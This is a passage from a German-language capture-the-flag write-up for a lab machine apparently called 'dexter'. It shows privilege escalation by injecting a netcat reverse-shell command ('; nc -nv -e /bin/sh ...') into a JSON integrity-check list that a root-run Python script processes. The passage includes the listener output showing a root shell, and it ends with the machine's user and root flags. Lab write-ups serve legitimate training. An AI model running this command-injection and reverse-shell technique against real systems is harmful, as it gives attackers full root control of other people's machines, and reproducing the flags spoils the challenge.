        "/var/www/Panel/config.php": "421fc13061ab1f343e6607e4ef4f8f42",
        "/var/www/Panel/main.php": "7812b7c1ed608299c9bece4f46607423",
        "/var/www/Panel/load.php": "0f95762562aa97c62d004949e7337e95",
        "/var/www/Panel/viewer_pagination.php": "60c7444a92daa115abfecc73c46fc2ec",
        "/var/www/Panel/master.php": "2b50c51fce89ddcfb769effdeab7080c",
        "/var/www/Panel/index.php": "af44aa507c02f3c1aede5e251b28dc64"
    }
  2. **Einfügen des Payload:**

    =
     
    {
        "root":"'; nc -nv -e /bin/sh 192.168.2.137 4444 #",
        "/var/www/Panel/info.php": "d8fa4356213b6ce9253f55acdff780ac",
        "/var/www/Panel/upload.php" : "b2640cea86e5171662a082b6a043fcc2",
        "/var/www/Panel/style.css": "92f234834a61b7fde898eea40f857bb3",
        "/var/www/Panel/gateway.php": "7b93115195db0c0b085a1107c4cc1aed",
        "/var/www/Panel/pagination.php": "1a8d91c12263dd5298a70c72976c5e97",
        "/var/www/Panel/viewer.php": "292b3b12c2f90c0e557bf599c2475c15",
        "/var/www/Panel/config.php": "421fc13061ab1f343e6607e4ef4f8f42",
        "/var/www/Panel/main.php": "7812b7c1ed608299c9bece4f46607423",
        "/var/www/Panel/load.php": "0f95762562aa97c62d004949e7337e95",
        "/var/www/Panel/viewer_pagination.php": "60c7444a92daa115abfecc73c46fc2ec",
        "/var/www/Panel/master.php": "2b50c51fce89ddcfb769effdeab7080c",
        "/var/www/Panel/index.php": "af44aa507c02f3c1aede5e251b28dc64"
    }
  3. **Verschieben der manipulierten Datei:**

    ~ mv /var/www/Panel/exes/antitamper.list /var/www/antitamper.list #
  4. **Ersetzen der Originaldatei:**

    www-data@dexter:/var/www/Panel/exes$ nano antitamper.list www-data@dexter:/var/www/Panel/exes$ cat antitamper.list > /var/www/antitamper.list
  5. **Auslösen der Integritätsprüfung:** Die Integritätsprüfung wird durch den Aufruf des Python-Skripts `antitamper.py` ausgelöst. Da wir die `antitamper.list`-Datei manipuliert haben, wird der bösartige Befehl ausgeführt.

  6. **Empfangen der Reverse Shell:** Auf dem lokalen System wird Netcat verwendet, um die Reverse Shell zu empfangen.

**Erwartetes Ergebnis:** Nach Ausführung des Python-Skripts wird eine Reverse Shell als Root auf dem lokalen System empfangen.

**Beweismittel:**

Payload: http://dexter.vuln/Panel/exes/antitamper.list --_> am Browser laden!
per.list dexter:/tmp$ cat /var/www/Panel/exes/antitamper.list > /var/www/antitamp www-data@dexter:/tmp$
┌──(root㉿cyber)-[/home/cyber/Downloads]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.137] from (UNKNWN) [192.168.2.127] 47344
id
uid=0(root) gid=0(root) groups=0(root)

Die Ausgabe zeigt, dass die Reverse Shell erfolgreich als Root-Benutzer erstellt wurde. Fantastisch! Der Root Zugriff war erfolgreich, nun haben wie unser Ziel erreicht.

**Risikobewertung:** Die Ausnutzung dieser Schwachstelle ermöglicht es einem Angreifer, Root-Privilegien zu erlangen und somit die vollständige Kontrolle über das System zu übernehmen.

**Empfehlungen:**

Flags

cat user.txt c7d0a8de1e03b25a6f7ed2d91b94dad6
cat root.txt 5C42D6BB0EE9CE4CB7E7349652C45C4A